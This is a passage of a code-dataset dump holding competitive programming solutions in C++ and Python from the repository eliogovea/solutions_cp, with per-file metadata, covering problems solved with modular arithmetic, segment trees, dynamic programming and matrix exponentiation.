1;\r\n\tx %= m;\r\n\twhile (n) {\r\n\t\tif (n & 1LL) {\r\n\t\t\tres = (res * x) % m;\r\n\t\t}\r\n\t\tx = (x * x) % m;\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint n, k;\r\n\r\nconst int N = 1000005;\r\n\r\nll f[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tf[0] = 1;\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tf[i] = (f[i - 1] * (ll)i) % mod;\r\n\t}\r\n\twhile (cin >> n >> k) {\r\n\t\tif (k > n - k) {\r\n\t\t\tk = n - k;\r\n\t\t}\r\n\t\tll x = (power(2, n, mod - 1) - (n % (mod - 1)) + (mod - 1)) % (mod - 1);\r\n\t\tll y = power(2, x, mod);\r\n\t\tif (k == 0) {\r\n\t\t\tcout << y << \"\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tll a = (f[n] * power(f[n - k], mod - 2, mod)) % mod;\r\n\t\tll b = power(f[k], mod - 2, mod);\r\n\t\tll c = (a * b) % mod;\r\n\t\tc = (y * c) % mod;\r\n\t\tcout << c << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2604690194129944, "alphanum_fraction": 0.2956448793411255, "avg_line_length": 25.76744270324707, "blob_id": "1af28c16a8c7c9cf66118d4e28396698334772f9", "content_id": "a405dc7af623d368569e4b406c0d11021844517f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1194, "license_type": "no_license", "max_line_length": 62, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2897-Accepted-s618090.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nint n, esta[30], a[1000000][30], uno, sol;\r\nint gcd[30][30];\r\n\r\nint main() {\r\n\r\n for (int i = 1; i <= 25; i++)\r\n for (int j = 1; j <= 25; j++) gcd[i][j] = __gcd(i, j);\r\n\r\n scanf(\"%d\", &n);\r\n for (int i = 0, x; i < n; i++) {\r\n scanf(\"%d\", &x);\r\n if (x != 1)esta[x] = 1;\r\n else uno++;\r\n }\r\n int last = 0;\r\n for (int i = 1; i <= 25; i++)\r\n if (esta[i]) {\r\n for (int j = 0; j < last; j++) {\r\n bool b = true;\r\n for (int k = 1; k <= a[j][0]; k++)\r\n if (gcd[ i ][ a[j][k] ] != 1) {\r\n b = false;\r\n break;\r\n }\r\n if (b) {\r\n for (int k = 1; k <= a[j][0]; k++)\r\n a[last][k] = a[j][k];\r\n a[last][ a[last][0] = a[j][0] + 1 ] = i;\r\n last++;\r\n }\r\n }\r\n a[last][0] = 1;\r\n a[last][1] = i;\r\n last++;\r\n }\r\n for (int i = 0; i < last; i++)\r\n sol = max(sol, a[i][0]);\r\n printf(\"%d\\n\", sol + uno);\r\n}\r\n" }, { "alpha_fraction": 0.38181817531585693, "alphanum_fraction": 0.41818180680274963, "avg_line_length": 13, "blob_id": "7b50f5bf398e4219f8eeea1eb1b12471538fef1f", "content_id": "468332d773ca3e8279efad98d5bb9205973a41da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 165, "license_type": "no_license", "max_line_length": 26, "num_lines": 11, "path": "/COJ/eliogovea-cojAC/eliogovea-p3411-Accepted-s883054.py", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "import math\r\n\r\npi = 2 * math.acos(0)\r\n\r\nn = int(input())\r\n\r\nwhile n > 0:\r\n n = n - 1\r\n r = int(input())\r\n ans = (pi - 2) * r * r\r\n print(\"%.2lf\" % ans)\r\n" }, { "alpha_fraction": 0.3945205509662628, "alphanum_fraction": 0.41643837094306946, "avg_line_length": 20.8125, "blob_id": "39336acace054645a4e8009ded84d6ec4ae883fb", "content_id": "3418a713369b107489c5db4c8707c9c7bee5ee55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 365, "license_type": "no_license", "max_line_length": 64, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2487-Accepted-s465552.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint n,m,d[12881],i,j,mx;\r\n\r\nint main(){\r\n std::ios::sync_with_stdio(false);\r\n cin >> n >> m;\r\n while(n--){\r\n cin >> i >> j;\r\n for(int k=m; k-i>=0; k--)d[k]=max(d[k],d[k-i]+j);\r\n }\r\n for(i=1;i<=m;i++)if(mx<d[i])mx=d[i];\r\n cout << mx << endl;\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.46666666865348816, "alphanum_fraction": 0.4911564588546753, "avg_line_length": 22.5, "blob_id": "c1d9d6c4328fe461610fe200cffa0b36e9a3de95", "content_id": "5e3d466137cefb1c83f6a593330c31add9d0e74c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 735, "license_type": "no_license", "max_line_length": 131, "num_lines": 30, "path": "/COJ/eliogovea-cojAC/eliogovea-p1843-Accepted-s632078.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll MAX = 1000000000;\r\n\r\nvector<ll> t, c, v;\r\nvector<ll>::iterator it;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n\tfor (ll i = 1; ; i++) {\r\n\t\tll tr = i * (i + 1) / 2 + 1;\r\n\t\tif (tr > MAX) break;\r\n\t\tt.push_back(tr);\r\n\t}\r\n\tfor (ll i = 1; ; i++) {\r\n\t\tll sc = i * i;\r\n\t\tif (sc > MAX) break;\r\n\t\tc.push_back(sc);\r\n\t}\r\n\tfor (it = t.begin(); it != t.end(); it++)\r\n\t\tif (binary_search(c.begin(), c.end(), *it))\r\n\t\t\tv.push_back(*it);\r\n\tll a, b, cas = 0;\r\n\tios::sync_with_stdio(false);\r\n\twhile (cin >> a >> b && (a | b))\r\n\t\tcout << \"Case \" << ++cas << \": \" << upper_bound(v.begin(), v.end(), b - 1ll) - lower_bound(v.begin(), v.end(), a + 1ll) << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.30747532844543457, "alphanum_fraction": 0.35401973128318787, "avg_line_length": 17.16216278076172, "blob_id": "ddd08a38883ee3dd843185a62657082e338ad659", "content_id": "bd2356a49573d09a447cb3f1383e463454c9d82a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 709, "license_type": "no_license", "max_line_length": 62, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p1559-Accepted-s769492.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst int mod = 1e6;\r\n\r\nint n, m, k;\r\nint dp[1005][1005];\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\twhile (cin >> n >> m >> k) {\r\n\t\tif (n == 0 && m == 0 && k == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tm -= k;\r\n\t\tdp[0][0] = 1;\r\n\t\tfor (int i = 1; i <= m; i++) {\r\n\t\t\tdp[0][i] = 0;\r\n\t\t\tdp[0][i] += dp[0][i - 1];\r\n\t\t}\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tfor (int j = 0; j <= m; j++) {\r\n\t\t\t\tdp[i][j] = dp[i - 1][j];\r\n\t\t\t\tif (j - k - 1 >= 0) {\r\n\t\t\t\t\tdp[i][j] = (dp[i][j] - dp[i - 1][j - k - 1] + mod) % mod;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tfor (int j = 1; j <= m; j++) {\r\n\t\t\t\tdp[i][j] += dp[i][j - 1];\r\n\t\t\t\tdp[i][j] %= mod;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << dp[n - 1][m] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4285714328289032, "alphanum_fraction": 0.48701298236846924, "avg_line_length": 16.11111068725586, "blob_id": "84e7cce03e04d7f2b9782a10ecda26433e1b3e86", "content_id": "7d0a74df4539b880c808990e1212b32f9cdb471c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 616, "license_type": "no_license", "max_line_length": 57, "num_lines": 36, "path": "/Codeforces-Gym/100507 - 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest\n// 100507G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MOD = 1000000007;\n\ninline void add(int &a, int b) {\n\ta += b;\n\tif (a >= MOD) {\n\t\ta -= MOD;\n\t}\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tint n, a, b;\n\tcin >> n >> a >> b;\n\tvector <int> fa(n + 1, 0), fb(n + 1, 0);\n\tfa[0] = 1;\n\tfb[0] = 1;\n\tfor (int i = 1; i <= n; i++) {\n\t\tfor (int j = max(i - a, 0); j < i; j++) {\n\t\t\tadd(fa[i], fb[j]);\n\t\t}\n\t\tfor (int j = max(i - b, 0); j < i; j++) {\n\t\t\tadd(fb[i], fa[j]);\n\t\t}\n\t}\n\tint ans = fa[n];\n\tadd(ans, fb[n]);\n\tcout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.37542662024497986, "alphanum_fraction": 0.3993174135684967, "avg_line_length": 14.277777671813965, "blob_id": "7fccf6e4a84d04c1a74d9c334dfd9890b7289ad0", "content_id": "9e57eac2f785559ce355204e24567b80aeac22d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 879, "license_type": "no_license", "max_line_length": 50, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p1005-Accepted-s918859.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nstruct order {\r\n\tint s, e, v;\r\n};\r\n\r\nbool operator < (const order &a, const order &b) {\r\n\tif (a.e != b.e) {\r\n\t\treturn a.e < b.e;\r\n\t}\r\n\treturn a.s < b.s;\r\n}\r\n\r\nint t;\r\nint n;\r\norder a[N];\r\n\r\nint dp[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> a[i].s >> a[i].e >> a[i].v;\r\n\t\t\ta[i].e += a[i].s;\r\n\t\t}\r\n\t\tsort(a + 1, a + n + 1);\r\n\t\tdp[0] = 0;\r\n\t\tdp[1] = a[1].v;\r\n\t\tfor (int i = 2; i <= n; i++) {\r\n\t\t\tint lo = 1;\r\n\t\t\tint hi = i - 1;\r\n\t\t\tint pos = 0;\r\n\t\t\twhile (lo <= hi) {\r\n\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\tif (a[mid].e < a[i].s) {\r\n\t\t\t\t\tpos = mid;\r\n\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\thi = mid - 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tdp[i] = max(dp[i - 1], dp[pos] + a[i].v);\r\n\t\t}\r\n\t\tcout << dp[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3445078432559967, "alphanum_fraction": 0.3851640522480011, "avg_line_length": 19.90625, "blob_id": "5c0d4818cff25fd2c884bcc7094c454835581385", "content_id": "df7b364573f6ed9e8535b649b2295f79f25b7bf0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1402, "license_type": "no_license", "max_line_length": 68, "num_lines": 64, "path": "/COJ/eliogovea-cojAC/eliogovea-p1155-Accepted-s629421.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 10000;\r\n\r\nconst int SIZE = 3;\r\n\r\nstruct mat {\r\n\tll m[SIZE + 1][SIZE + 1];\r\n\tvoid idem() {\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tm[i][j] = (ll)(i == j);\r\n\t}\r\n\tvoid nul() {\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tm[i][j] = 0;\r\n\t}\r\n\tvoid ut(ll a, ll b, ll c) {\r\n\t\tm[0][0] = a; m[0][1] = 1; m[0][2] = 0;\r\n\t\tm[1][0] = b; m[1][1] = 0; m[1][2] = 1;\r\n\t\tm[2][0] = c; m[2][1] = 0; m[2][2] = 0;\r\n\t}\r\n\tmat operator * (const mat &M) {\r\n\t\tmat r;\r\n\t\tr.nul();\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tfor (int k = 0; k < SIZE; k++)\r\n\t\t\t\t\tr.m[i][j] = (r.m[i][j] + ((m[i][k] * M.m[k][j]) % mod)) % mod;\r\n\t\treturn r;\r\n\t}\r\n};\r\n\r\nmat exp(mat x, ll n) {\r\n\tmat r;\r\n\tr.idem();\r\n\twhile (n) {\r\n\t\tif (n & 1ll) r = r * x;\r\n\t\tx = x * x;\r\n\t\tn >>= 1ll;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nll f[4], a, b, c, n, sol;\r\nmat M;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin >> f[1] >> f[2] >> f[3] >> c >> b >> a >> n;\r\n if (n <= 3) cout << f[n] << '\\n';\r\n else {\r\n M.ut(a, b, c);\r\n M = exp(M, n - 3ll);\r\n sol = (f[3] * M.m[0][0]) % mod;\r\n sol += (f[2] * M.m[1][0]) % mod; if (sol >= mod) sol -= mod;\r\n sol += (f[1] * M.m[2][0]) % mod; if (sol >= mod) sol -= mod;\r\n cout << sol << '\\n';\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4407176375389099, "alphanum_fraction": 0.45787832140922546, "avg_line_length": 20.89285659790039, "blob_id": "b7e17cbc0285033e1fe24ab0d77ba3bec778172d", "content_id": "8d8dc79f265649659b8385ed2dd1da5807186393", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1282, "license_type": "no_license", "max_line_length": 76, "num_lines": 56, "path": "/COJ/eliogovea-cojAC/eliogovea-p2812-Accepted-s628027.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100010;\r\n\r\nstruct pt {\r\n\tint x, y;\r\n\tpt() {}\r\n\tpt(int xx, int yy) : x(xx), y(yy) {}\r\n\tbool operator < (const pt &P) const {\r\n\t\tif (x != P.x) return x < P.x;\r\n\t\treturn y < P.y;\r\n\t}\r\n} pts[MAXN];\r\n\r\nvector<int> T[MAXN << 2];\r\n\r\nvoid build(int nod, int lo, int hi) {\r\n T[nod].resize(hi - lo);\r\n\tif (lo + 1 == hi) T[nod] = vector<int>(1, pts[lo].y);\r\n\telse {\r\n\t\tint mid = (lo + hi) >> 1, L = nod << 1, R = L + 1;\r\n\t\tbuild(L, lo, mid);\r\n\t\tbuild(R, mid, hi);\r\n\t\tmerge(T[L].begin(), T[L].end(), T[R].begin(), T[R].end(), T[nod].begin());\r\n\t}\r\n}\r\n\r\nint query(int nod, int lo, int hi, int x, int y) {\r\n\tif (pts[lo].x > x) return 0;\r\n\tif (pts[hi - 1].x <= x)\r\n\t\treturn upper_bound(T[nod].begin(), T[nod].end(), y) - T[nod].begin();\r\n\tint mid = (lo + hi) >> 1, L = nod << 1, R = L + 1;\r\n\treturn query(L, lo, mid, x, y) + query(R, mid, hi, x, y);\r\n}\r\n\r\nint tc, n, q, a, b;\r\n\r\nint main() {\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%d\", &n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tscanf(\"%d%d\", &a, &b);\r\n\t\t\tpts[i].x = a + b;\r\n\t\t\tpts[i].y = b - a;\r\n\t\t}\r\n\t\tsort(pts, pts + n);\r\n\t\tbuild(1, 0, n);\r\n\t\tscanf(\"%d\", &q);\r\n\t\twhile (q--) {\r\n\t\t\tscanf(\"%d%d\", &a, &b);\r\n\t\t\tprintf(\"%d\\n\", query(1, 0, n, a + b, b - a));\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4273219406604767, "alphanum_fraction": 0.45231154561042786, "avg_line_length": 22.086538314819336, "blob_id": "29f2525b903e2c9b6aa85ef8368bf1b8e50aa236", "content_id": "6b99fdee1d4bf482e10af11c91726138411131e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2401, "license_type": "no_license", "max_line_length": 85, "num_lines": 104, "path": "/Codeforces-Gym/100507 - 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest\n// 100507C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\ntypedef long long ll;\nll stree[4*MAXN],\n lazy[4*MAXN];\n\nll gan[MAXN];\nstruct date{\n ll mes, dia, h, mi, idx;\n date(){};\n date( int a, int b, int c, int d, int e ){\n mes = a; dia = b; h = c; mi = d; idx = e;\n }\n bool operator<( const date & b ) const{\n if( mes != b.mes )\n return mes < b.mes;\n if( dia != b.dia )\n return dia < b.dia;\n if( h != b.h )\n return h < b.h;\n return mi < b.mi;\n }\n};\nvector<date> fecha, org;\n\nll comb( ll a, ll b ){\n return min( a,b );\n}\n\nvoid propagate( int nod, int l, int r ){\n if( l == r ){\n lazy[nod] = 0LL;\n return;\n }\n stree[2*nod] += lazy[nod];\n lazy[2*nod] += lazy[nod];\n stree[2*nod+1] += lazy[nod];\n lazy[2*nod+1] += lazy[nod];\n lazy[nod] = 0LL;\n\n}\n\nint ul, ur;\nll uval;\nvoid update( int nod, int l, int r ){\n propagate(nod, l, r);\n if( r < ul || l > ur )\n return;\n\n if( ul <= l && r <= ur ){\n stree[nod] += uval;\n lazy[nod] += uval;\n return;\n }\n int mid = (l+r)>>1;\n\n update( 2*nod, l, mid );\n update( 2*nod+1, mid+1, r );\n stree[nod] = comb( stree[2*nod], stree[2*nod+1] );\n}\n\nint ql, qr;\nll query( int nod, int l, int r ){\n propagate( nod, l, r );\n if( r < ql || l > qr )\n return 0;\n if( ql <= l && r <= qr )\n return stree[nod];\n\n int mid = (l+r)>>1;\n return comb( query( 2*nod, l, mid ), query( 2*nod+1, mid+1, r ) );\n}\n\nint main(){\n //ios::sync_with_stdio(0);\n // cin.tie(0);\n // freopen( \"dat.txt\", \"r\", stdin ) ;\n ll n;\n scanf( \"%I64d\", &n );\n for( int i = 0,x,d,m,h,mm; i < n; i++ ){\n scanf( \"%d %d.%d %d:%d\", &x, &d, &m, &h, &mm );\n // cout << x << \" \" << d << endl;\n gan[i] = x;\n org.push_back( date( m,d,h,mm, i ) );\n fecha.push_back( date( m,d,h,mm, i ) );\n }\n sort( fecha.begin(), fecha.end() );\n for( int i = 0; i < n; i++ ){\n int p = lower_bound( fecha.begin(), fecha.end(), org[i] ) - fecha.begin() +1;\n ul = p, ur = n;\n uval = gan[i];\n update( 1, 1, n );\n ql = 1; qr = n;\n ll ans = query( 1, 1, n );\n //cout << min( ans, 0LL ) << '\\n';\n printf( \"%I64d\\n\", min( ans, 0LL ) );\n }\n}\n" }, { "alpha_fraction": 0.4676113426685333, "alphanum_fraction": 0.546558678150177, "avg_line_length": 15.466666221618652, "blob_id": "acf09faeb8b277b805557312091cba8c1d57a0c2", "content_id": "dd518017baf40387d5aed36a5e908906ca65fc97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 494, "license_type": "no_license", "max_line_length": 125, "num_lines": 30, "path": "/Codeforces-Gym/100497 - 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E04: Codeforces Trainings Season 2 Episode 4 (US College Rockethon 2014 + COCI 2008-5 + GCJ Finals 2008 C)\n// 100497H\n\n#include <bits/stdc++.h>\n\n\nusing namespace std;\n\nlong long n;\nint main(){\n\tios::sync_with_stdio(0);\n\tcin.tie(0);\n//\tfreopen( \"dat.txt\", \"r\", stdin );\n\tcin >> n;\n\tbool f = false;\n\tlong long i = 2, sol = 0;\n\tfor( ; i*i <= n; i++ ){\n\t\tif( n % i == 0 ){\n\t\t\tf = true;\n\t\t\tbreak;\n\t\t}\n\t\t\n\t}\n\tif( !f ){\n\t\tsol = n-1;\n\t}\n\telse sol = n - n/i;\n\tcout << sol << '\\n';\n\n}\n" }, { "alpha_fraction": 0.33811041712760925, "alphanum_fraction": 0.36624205112457275, "avg_line_length": 19.467391967773438, "blob_id": "e4941e856414b3c0e929c79e1e55b1935829455d", "content_id": "0082387304f9349b2fcf29258f3e10b272fed587", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1884, "license_type": "no_license", "max_line_length": 79, "num_lines": 92, "path": "/Caribbean-Training-Camp-2018/Contest_1/Solutions/H1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100 * 1000;\nconst long long INF = 1e18;\n\nint n;\nlong long a[N + 10];\nlong long st[4 * N + 10];\nlong long lazy[4 * N + 10];\n\nvoid build(int x, int l, int r) {\n lazy[x] = 0;\n if (l == r) {\n st[x] = a[l];\n } else {\n int m = (l + r) >> 1;\n build(2 * x, l, m);\n build(2 * x + 1, m + 1, r);\n st[x] = max(st[2 * x], st[2 * x + 1]);\n }\n}\n\ninline void push(int x, int l, int r) {\n if (lazy[x] > 0) {\n st[x] += lazy[x];\n if (l != r) {\n lazy[2 * x] += lazy[x];\n lazy[2 * x + 1] += lazy[x];\n }\n lazy[x] = 0;\n }\n}\n\nvoid update(int x, int l, int r, int ul, int ur, int v) {\n push(x, l, r);\n if (l > ur || r < ul) {\n return;\n }\n if (l >= ul && r <= ur) {\n lazy[x] += v;\n push(x, l, r);\n } else {\n int m = (l + r) >> 1;\n update(2 * x, l, m, ul, ur, v);\n update(2 * x + 1, m + 1, r, ul, ur, v);\n st[x] = max(st[2 * x], st[2 * x + 1]);\n }\n}\n\nlong long query(int x, int l, int r, int ql, int qr) {\n push(x, l, r);\n if (l > qr || r < ql) {\n return -INF;\n }\n if (l >= ql && r <= qr) {\n return st[x];\n }\n int m = (l + r) >> 1;\n return max(query(2 * x, l, m, ql, qr), query(2 * x + 1, m + 1, r, ql, qr));\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n;\n for (int i = 1; i <= n; i++) {\n cin >> a[i];\n }\n\n build(1, 1, n);\n int q;\n cin >> q;\n while (q--) {\n char o;\n cin >> o;\n if (o == 'm') {\n int l, r;\n cin >> l >> r;\n cout << query(1, 1, n, l, r) << \"\\n\";\n } else {\n int l, r, x;\n cin >> l >> r >> x;\n update(1, 1, n, l, r, x);\n }\n }\n\n}\n\n" }, { "alpha_fraction": 0.3345656096935272, "alphanum_fraction": 0.6358595490455627, "avg_line_length": 21.521739959716797, "blob_id": "ea4dbbd58b1a38cfbc33862f58dc20911a157045", "content_id": "3af4b10187540ac6ab27c391174ead6294c53dcc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 541, "license_type": "no_license", "max_line_length": 254, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p3296-Accepted-s815572.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll inf = 1e15;\r\n\r\nll v[] = {8LL, 49LL, 288LL, 1681LL, 9800LL, 57121LL, 332928LL, 1940449LL, 11309768LL, 65918161LL, 384199200LL, 2239277041LL, 13051463048LL, 76069501249LL, 443365544448LL, 2584123765441LL, 15061377048200LL, 87784138523761LL, 511643454094368LL, inf + 5LL};\r\n\r\nll n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> n && n) {\r\n\t\tint cnt = 0;\r\n\t\twhile (v[cnt] <= n) {\r\n\t\t\tcnt++;\r\n\t\t}\r\n\t\tcout << cnt << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3453070819377899, "alphanum_fraction": 0.3742757737636566, "avg_line_length": 21.97222137451172, "blob_id": "682e19892a793cca62dfaf87cf08565577b2bb0b", "content_id": "a83c8e96115716242088e8104b2fe6f7f5a7d537", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 863, "license_type": "no_license", "max_line_length": 78, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2246-Accepted-s678724.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2246.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description :\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nLL n, t1, t2;\r\n\r\nint main() {\r\n\tcin >> n >> t1 >> t2;\r\n\tLL lo = 0LL, hi = 1LL << 60LL, mid, fmid, cnt, time;\r\n\twhile (lo + 1LL < hi) {\r\n\t\tmid = (lo + hi + 1LL) >> 1LL;\r\n\t\tfmid = (mid / t1) + (mid / t2);\r\n\t\tif (fmid >= n) {\r\n\t\t\thi = mid;\r\n\t\t\tcnt = fmid;\r\n\t\t\tif (hi % t1) cnt++;\r\n\t\t\tif (hi % t2) cnt++;\r\n\t\t\ttime = hi;\r\n\t\t\tif (hi % t1) time = max(time, hi + t1 - (hi % t1));\r\n\t\t\tif (hi % t2) time = max(time, hi + t2 - (hi % t2));\r\n\t\t}\r\n\t\telse lo = mid;\r\n\t}\r\n\tcout << cnt << \" \" << time << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3212237060070038, "alphanum_fraction": 0.3594646155834198, "avg_line_length": 19.79166603088379, "blob_id": "74c5730bd209d65d096169248455993be991f681", "content_id": "d0acc050982ad27b4d37582d6d0e0e68ef8e00f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 523, "license_type": "no_license", "max_line_length": 52, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p1515-Accepted-s486663.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\nlong long r;\r\nunsigned long long rr;\r\nfloat ans;\r\n\r\nint main(){\r\n int n;\r\n cin >> n;\r\n for(int i=1; i<=n; i++){\r\n \r\n cin >> r;\r\n if(r<0)r*=-1;\r\n \r\n rr=2*r*r*r;\r\n ans=rr/3;\r\n cout << (long long)(rr/3);\r\n if(r%3==0)cout << \".000\" << endl;\r\n else if(r%3==1)cout << \".667\" << endl;\r\n else cout << \".333\" << endl; \r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.45314309000968933, "alphanum_fraction": 0.4874662458896637, "avg_line_length": 20.23770523071289, "blob_id": "22fa7eade15fd053cc7291ac9e4fcfda50f70ec3", "content_id": "412c46aafe3b3a08c21a9ea5f8133eff6014c5e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2593, "license_type": "no_license", "max_line_length": 80, "num_lines": 122, "path": "/SPOJ/SUMSUMS.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \ntypedef long long ll;\n \nconst ll mod = 98765431;\n \nconst int SIZE = 2;\n \nstruct matrix {\n\tll m[SIZE + 1][SIZE + 1];\n\tll * operator [] (int x) {\n\t\treturn m[x];\n\t}\n\tconst ll * operator [] (const int x) const {\n\t\treturn m[x];\n\t}\n\tvoid O() {\n\t\tfor (int i = 0; i < SIZE; i++) {\n\t\t\tfor (int j = 0; j < SIZE; j++) {\n\t\t\t\tm[i][j] = 0;\n\t\t\t}\n\t\t}\n\t}\n\tvoid I() {\n\t\tfor (int i = 0; i < SIZE; i++) {\n\t\t\tfor (int j = 0; j < SIZE; j++) {\n\t\t\t\tm[i][j] = (i == j);\n\t\t\t}\n\t\t}\n\t}\n};\n \nmatrix operator * (const matrix &a, const matrix &b) {\n\tmatrix res;\n\tres.O();\n\tfor (int i = 0; i < SIZE; i++) {\n\t\tfor (int j = 0; j < SIZE; j++) {\n\t\t\tfor (int k = 0; k < SIZE; k++) {\n\t\t\t\tres[i][j] += (a[i][k] * 